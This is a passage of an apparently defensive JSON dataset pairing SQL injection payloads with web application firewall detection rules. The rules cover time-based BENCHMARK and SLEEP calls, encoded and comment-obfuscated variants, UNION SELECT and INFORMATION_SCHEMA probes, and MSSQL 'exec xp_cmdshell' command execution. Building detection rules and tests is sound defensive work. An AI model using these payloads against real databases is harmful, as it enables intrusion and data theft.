Payload Detected via Benchmark Function" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "BENCHMARK(5000000,MD5(0x48416166)" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:sleep\\s*?\\(.*?\\)|benchmark\\s*?\\(.*?\\,.*?\\))", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942160", "test_description": "SQL Injection Attack: Time-Based Payload Detected via Benchmark Function" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "benchmark(3000000,M%445(4)" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:sleep\\s*?\\(.*?\\)|benchmark\\s*?\\(.*?\\,.*?\\))", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942160", "test_description": "SQL Injection Attack: Time-Based Payload Detected via Benchmark Function" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=BENCHMARK(1000000, md5\" AND 1883=1883-- GSCC('')" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:sleep\\s*?\\(.*?\\)|benchmark\\s*?\\(.*?\\,.*?\\))", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942160", "test_description": "SQL Injection Attack: Time-Based Payload Detected via Benchmark Function" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=BeNChMaRK(1000000, md5 AND 9796=4706('')" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:sleep\\s*?\\(.*?\\)|benchmark\\s*?\\(.*?\\,.*?\\))", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942160", "test_description": "SQL Injection Attack: Time-Based Payload Detected via Benchmark Function" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "sql_table=sELecT%20slEep%20%2820%20dIv%203%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:sleep\\s*?\\(.*?\\)|benchmark\\s*?\\(.*?\\,.*?\\))", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942160", "test_description": "SQL Injection Attack: Time-Based Payload Detected via Sleep Function\ndecoded payload: sELecT slEep (20 dIv 3)\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "sql_table=SeleCT%20sLeEp%20%28mOD%2810%2C5%29%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:sleep\\s*?\\(.*?\\)|benchmark\\s*?\\(.*?\\,.*?\\))", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942160", "test_description": "SQL Injection Attack: Time-Based Payload Detected via Sleep Function\ndecoded payload: SeleCT sLeEp (mOD(10,5))\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "sql_table=sELecT%20slEep%20%285%20%5E%202%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:sleep\\s*?\\(.*?\\)|benchmark\\s*?\\(.*?\\,.*?\\))", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942160", "test_description": "SQL Injection Attack: Time-Based Payload Detected via Sleep Function\ndecoded payload: sELecT slEep (5 ^ 2)\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "sql_table=sELecT%20slEep%20%283%20%2A%202%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:sleep\\s*?\\(.*?\\)|benchmark\\s*?\\(.*?\\,.*?\\))", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942160", "test_description": "SQL Injection Attack: Time-Based Payload Detected via Sleep Function\ndecoded payload: sELecT slEep (3 * 2)\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "sql_table=sELecT%20slEep%20%28-3%20%2A%20-2%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:sleep\\s*?\\(.*?\\)|benchmark\\s*?\\(.*?\\,.*?\\))", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942160", "test_description": "SQL Injection Attack: Time-Based Payload Detected via Sleep Function\ndecoded payload: sELecT slEep (-3 * -2)\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "sql_table=sELecT%20slEep%20%2810%20%2F6%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:sleep\\s*?\\(.*?\\)|benchmark\\s*?\\(.*?\\,.*?\\))", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942160", "test_description": "SQL Injection Attack: Time-Based Payload Detected via Sleep Function\ndecoded payload: sELecT slEep (10 /6)\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "sql_table=sELecT%20slEep%20%28%2710%E2%82%AC%40%23%3D%7B%7D%2C~2%27%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:sleep\\s*?\\(.*?\\)|benchmark\\s*?\\(.*?\\,.*?\\))", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942160", "test_description": "SQL Injection Attack: Time-Based Payload Detected via Sleep Function\ndecoded payload: sELecT slEep ('10€@#={},~2')\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "sql_table=sELecT%20slEep%20%28%2210%22%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:sleep\\s*?\\(.*?\\)|benchmark\\s*?\\(.*?\\,.*?\\))", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942160", "test_description": "SQL Injection Attack: Time-Based Payload Detected via Sleep Function\ndecoded payload: sELecT slEep (\"10\")\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "sql_table=sELecT%20slEep%20%2810%20%2B6%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:sleep\\s*?\\(.*?\\)|benchmark\\s*?\\(.*?\\,.*?\\))", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942160", "test_description": "SQL Injection Attack: Time-Based Payload Detected via Sleep Function\ndecoded payload: sELecT slEep (10 +6)\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "sql_table=sELecT%20slEep%20%2810%20-6%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:sleep\\s*?\\(.*?\\)|benchmark\\s*?\\(.*?\\,.*?\\))", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942160", "test_description": "SQL Injection Attack: Time-Based Payload Detected via Sleep Function\ndecoded payload: sELecT slEep (10 -6)\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "sql_table=sELecT%20slEep%20%2810.2%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:sleep\\s*?\\(.*?\\)|benchmark\\s*?\\(.*?\\,.*?\\))", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942160", "test_description": "SQL Injection Attack: Time-Based Payload Detected via Sleep Function\ndecoded payload: sELecT slEep (10.2)\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "sql_table=sELecT%20slEep%20%2820%20%25%207%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:sleep\\s*?\\(.*?\\)|benchmark\\s*?\\(.*?\\,.*?\\))", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942160", "test_description": "SQL Injection Attack: Time-Based Payload Detected via Sleep Function\ndecoded payload: sELecT slEep (20 % 7)\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "sql_table=selEct%28%2F%2Ate%22%24%25st%2A%2Fsleep%28%2F%2Ate%27e%2Ast2%2A%2F10%29%29%3B" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:sleep\\s*?\\(.*?\\)|benchmark\\s*?\\(.*?\\,.*?\\))", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942160", "test_description": "SQL Injection Attack: Time-Based Payload Detected via Sleep Function with comments\ndecoded payload: selEct(/*te\"$%st*/sleep(/*te'e*st2*/10));\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "var=SELECT%20BENCHMARK%281000000%2C1%2B1%29%3B" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:select|;)[\\s\\x0b]+(?:benchmark|if|sleep)[\\s\\x0b]*?\\([\\s\\x0b]*?\\(?[\\s\\x0b]*?[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942170", "test_description": "Detects SQL benchmark and sleep injection attempts including conditional queries: 'SELECT BENCHMARK(1000000,1+1);'" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "var=%3B%20sleep%280%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:select|;)[\\s\\x0b]+(?:benchmark|if|sleep)[\\s\\x0b]*?\\([\\s\\x0b]*?\\(?[\\s\\x0b]*?[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942170", "test_description": "Detects SQL benchmark and sleep injection attempts including conditional queries: '; sleep(0)'" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "var=I%20sleep%20well%21" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:select|;)[\\s\\x0b]+(?:benchmark|if|sleep)[\\s\\x0b]*?\\([\\s\\x0b]*?\\(?[\\s\\x0b]*?[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942170", "test_description": "Detects SQL benchmark and sleep injection attempts including conditional queries: negative test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "test=select+if(x" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:select|;)[\\s\\x0b]+(?:benchmark|if|sleep)[\\s\\x0b]*?\\([\\s\\x0b]*?\\(?[\\s\\x0b]*?[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942170", "test_description": "Status Page Test - SQL injection test with select if(x" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "var=%20exec%20xp_cmdshell" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "MSSQL code execution and information gathering attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "%22%21%22%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "MSSQL Code Execution and Information gathering attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "%22+union+select%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "MSSQL Code Execution and Information gathering attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "current_user%28%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "MSSQL Code Execution and Information gathering attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "FROM+INFORMATION_SCHEMA.%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "MSSQL Code Execution and Information gathering attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "%27%3BSELECT+P%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "MSSQL Code Execution and Information gathering attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "UnIon+seleCt%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": 